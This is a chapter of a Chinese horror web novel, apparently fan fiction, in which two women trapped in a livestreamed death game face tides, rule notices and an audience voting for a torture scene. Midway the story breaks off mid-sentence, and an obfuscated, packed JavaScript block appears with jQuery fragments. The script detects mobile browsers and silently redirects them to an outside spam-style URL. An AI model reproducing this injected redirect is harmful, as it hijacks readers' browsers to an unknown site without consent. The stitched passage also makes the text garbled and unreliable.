62. 百疫⑧
作品:《【综纸嫁衣】喜报!暗恋对象邀我渡情劫!》 居民区?
好耳熟的几个字
把从云笙那里得来的纸条捏进掌心,萧潇在对面破风箱一样呼哧呼哧的惊恐喘息里将脚边愈发抽象的东西捆了个结实,本来还想问点什么的,看着卫衣青年这副魂归天外的样子还是没问出口,又去招呼着聂莫黎过来再确认一遍信息。
算了,就这个精神状态他能说她也不敢信
其实路上她们就已经看过记过,纸条上除开提醒她控制情绪不要大规模调动怨气的叮嘱就是一些似是而非的规矩,应当是为了避免误解直接记录下来的原文:
【记忆会欺骗你,请相信自己的记忆,不要反复核对】
【本园不存在“居民区”。若在地图或指示牌上看到该词,请忽略并按原路返回】
【请不要落单。无论什么时候你不会落单】
第一条放到现在来看已经很明确了,目前接触到的嘉宾包括她自己的记忆都在不断倒退,自认为是真相的记忆不一定就是刚刚发生的事情,更可能是很久以前的经历被大脑自动衔接到了现在。
就像是她自认为自己刚进祈殃一个月经过了四五个本,刚刚念叨着想家自家莫黎就超靠谱的找了过来简直是美梦成真。但舌头下面压着的静心镇痛的丹丸显而易见不是目前完全没打算抑制戾气的自己会准备的东西、还有那股莫名其妙觉得莫黎会离开自己一刀两断的错觉——
偷偷瞥了一眼身边那张熟悉的、认真的脸确定人还在自己身边,萧潇悄悄咪咪松了口气:怎么可能嘛都费这么老大劲找过来了莫黎嘴上不说心里肯定还是爱我的怎么可能要跟我两不相欠再也不见
...不会的吧?
偷偷瞄一眼
再瞄一眼
再——
“干嘛呢”
好笑地抵住旁边动来动去的脑袋,聂莫黎顺手揪了揪萧潇的脸颊:“有什么想法就说”
萧潇:“嗯、”
“那家伙关于别人的话应该可以信,但没必要问更多了”有种摸鱼突然被抽查的错觉,瞬间把思路拉回干正事方面的萧某瞥了眼背景里正在激情谋杀亲哥(?)的青年,拉着聂莫黎又往边上撤开几步免得血溅自己身上:“关于涨潮,我怀疑——”
聂莫黎:“跟先前动物区类似?”
“对”
被捆缚的血肉絮絮叨叨地向前蠕动,快被捅成筛子了也没点愤怒的语气,反而多出点弥留之际的慈爱,用一句比一句温柔的嘱托和奇形怪状偏偏还留着点人样的外貌吓得青年只记得边退边挥刀半句完整的话都说不出口。
隆隆的闷响从不知何处响起来,灰红交杂的泥土渐渐干燥变白
那怪物终于不动了
他放松地靠在墙边,浑浊的眼珠颤动着望向昏红的天。
好一会儿,如梦初醒般自语:“涨潮了”
绿色的斑块从衣领向外蔓延,棕黑的液体从鼻腔淌下,他的脑袋被鼓动的水泡推着转向她们,张开的牙后是流淌的舌
“走”
干燥后一粒一粒苍白的沙土在不断增大的闷响里又慢慢湿润起来,聂莫黎拉着萧潇跑上最近的台阶,临着推门进去的时候下意识回头,看见青年腐烂的身体在水中散开,几道绵长的虫似的东西,随着散开的白沙钻出身体,沉了下去
算是赶在潮水没过台阶前严丝合缝地阖拢了门页,聂莫黎检查着门缝间密封的状态,还没怎呢就听见萧潇听起来很无语的一声感叹:
“哇哦”
聂莫黎:?
法力细细地探了一圈确保一会儿不会有潮水破门而入把两个已经发育完全没法再伪装鱼卵的人类当场淹死,她抬起头,顺着萧潇的目光看过去:
【请不要穿过门,你不会穿过门】
聂莫黎:“。”
很好,又是一则告示:)
...谁家好人把这种告示放在门里面啊!
内心的小人拍拍桌子顺便捏爆了三个tan90°的手机,聂莫黎深深吸了口气:“退潮以后先试试看能不能把门拆了,拆不了再想办法开门”
“这里的经验规则很多对我不适用,如果哪里不确定要冒险的可以我来”
“嗯嗯”
也不知道是在答应前一句还是后一句,萧潇观察着四周攀沿着藤蔓的空旷的墙壁,探寻的风铺散开来:
确实没有什么设施,远比从外面看起来空旷的房间里只有几个矗立的不知材质的柱子,层高很高,盘旋的重复的窗棂一个挨一个从两米的高处替换掉硬质沉闷的墙面,一层一层垒上去,像童话里生长到云端的魔藤。
阴冷的怨恨带着痛感从骨髓里漫出来,萧潇凝视着那片在风里逐渐聚集起无形之物的空处,又倒出一粒丹丸拍进口中。
唔,难吃
但确实有效。视野中灰沉的滤镜随厉鬼怨恨的情绪一道消退,偏激的脑瓜就又清醒起来。应该被用于解决困境的注意力终于不再被时不时喧宾夺主的想顺势把家人藏起来这种违法乱纪强迫性思维打扰,她思索着祈殃悄无声息聚集这么多设备又是要搞什么幺蛾子,牙尖碾碎药丸带来更浓厚的苦
“萧潇”聂莫黎喊了一声
很紧张吗?是又发现了什么不能跟她说的困难?
..不对,萧潇不是一个很爱吃酸的人,就算是为了缓解紧张这么一颗接一颗的也太过了
萧潇:“嗯?”
【嗨嗨嗨家人们这里是一直在看着你的阿言——】
像是终于接通的语音通话,几瞬沙沙的模糊后,活泼的声音中止了萧潇回视的目光
她抵了抵牙尖,眼神认真起来
来了
【今天也是斥巨资买下了嘉宾萧潇的游戏环节,大家有什么想复刻的有趣场景都可以发弹幕投票哦,算是我对大家的安慰】
【毕竟今天,咱可是应了金主大大的要求来的呢】
聂莫黎注意到她停滞的动作,目光跟随着探寻,只能看见几处波动的空气
【啊啊啊啊又是折磨局吗?我们潇宝这么乖】
萧潇重新顶开瓶塞,干脆把剩下的丹丸全部倒进口中
【要看傀儡复刻!上次潇傀儡师冷静指挥的样子现在想起来我还腿软】
【反正折磨局已经跑不掉了...傀儡师+1】
什么傀儡师?
对此没有半点印象的萧潇含着一口透心凉的丹丸,听着播报又从袖中掏出管暂时增强身体耐力的药剂,相互就着顺下去
管他的,我顶上就是了
【战损!反正传奇耐活王应该死不掉吧...漂亮的脸就应该沾满血迹啊(陶醉)】
不自觉皱紧了眉,聂莫黎警惕地捏起法印,目光死死盯住那些突然密集却无法看清的弹幕
她讨厌这种失控的感觉
【前面变态吧(不过我喜欢)】
‘...都是我的观众应该不至于非得折腾莫黎吧?’
【既然这样——】
重复的窗棂旋转起来,藤蔓攀延着贯入地面,整座高楼在沙土摩擦的嘶哑响声里开始下沉。
红绸环绕,聂莫黎抓着萧潇的胳膊将两人牢牢固定在地上,正打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408316|175897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
算凝聚力量给那沉下的窗户一击看能不能先破窗而出刚好也没走门应该不算违规,就发现地震似的晃动忽而停了,播报声响起来:
“应投票要求,复刻嘉宾萧潇高光场景:傀儡无心”
连接了无数窗棂与地面的藤蔓构筑起殿堂,蜿蜒着,在她们面前拧出一个立起的十字
“请于30分钟内完成傀儡制作”
那阵聂莫黎没见过上文的机械音很平静,带动了一大片波动的空气。她尽力绷紧了注意去看,也只能瞥见一片模糊到难以辨认的文字。
而另一个能看清弹幕的家伙正在回顾这段贴心归来的记忆,感觉不太妙。
不自觉绷紧了身体,萧潇回顾着曾经自己给云笙上强度无麻醉手术的流程,喉头一阵阵发苦
看着就好痛啊那家伙怎么抗过去的我觉得我磕了药也扛不过去QAQ
身边一无所知的亲人还在努力轻松语气,试图缓解这份沉默的压抑:“什么打算?大傀儡师?”
难得的没有第一时间回话,其实对疼痛相当敏感的嘉宾盯着那妖异的十字看了很久,沉沉吐出口气:“不,我不是傀儡师”
自觉差不多做好了心理建设,她从后腰抽出把匕首,刀尖朝自己递出去:
“莫黎,你才是”
【???】
【干什么呢你终于疯啦?】
【战损!挖心!我可以!】
刀刃锋锐的寒芒在光下闪烁,配合着眼前人某一瞬间突然平静下来的神情更是让人心头发冷。
甚至按萧潇以往的性子想过是不是终于该跟不明物体彻底开战的聂莫黎瞳孔一缩:“...什么?”
就这么几秒钟没头没尾的你又偷偷决定了什么东西!
萧潇笑了笑,慢慢重复了一遍:
“傀儡无心”
从聂莫黎骤变的神情里意识到对方已经理解了自己的意思,仗着这份默契聊天时候总是说话没头没尾的家伙将脊背贴上竖起的十字,张开双臂,不算解释的解释了句:
“我是死人,不介意再死一次,你不行,你得活下去”
聂莫黎一把捉住她
像是曾演练过千百遍一般将人扯到一旁没让贪婪探出触须的藤沾染萧潇一分一毫,聂莫黎死死盯住她的眼睛:“非得听牠们的话不可么!”
阴气裹挟着包含香火的千年法力盘旋而出,代表着鬾娘子身份的嫁衣飞速凝实,聂莫黎一掌拍出去,打散那些难以看清的源源不断的字眼。红绸一转直直冲向秃鹫一般围绕的镜头,她拎住萧潇的领子、几乎是愤恨的:
“被逼得要去死了也不想着反抗,跟被洗脑的狗有什么区——”
“你说的对”
她忽而噤了声
有人轻轻掰开她的手,带着那手指上移、在脆弱的喉骨处重新收紧
——她摸到一个严丝合缝的项圈
“莫黎”
苦涩的、不甘又无奈的声音轻轻响起,那人带着她扯了扯那项圈,可怖的电流就顺着链条从掌下淌过,给那声音里又加上几分隐忍的痛苦:
“我是除非魂飞魄散无法逃脱的困兽、是没有家的家犬”
“我不想死,所以折断了脊梁也要苟活至今”
聂莫黎:“不、”这不是——
“但狗也有想保护的人、”
打断了家人的话,萧潇看见聂莫黎冷冽神情下隐藏的无措,想抬起手臂像曾经一样宽慰她,但终究还是放下了。
独自挣扎许久的嘉宾叹了口气:
“抱歉,连累你了”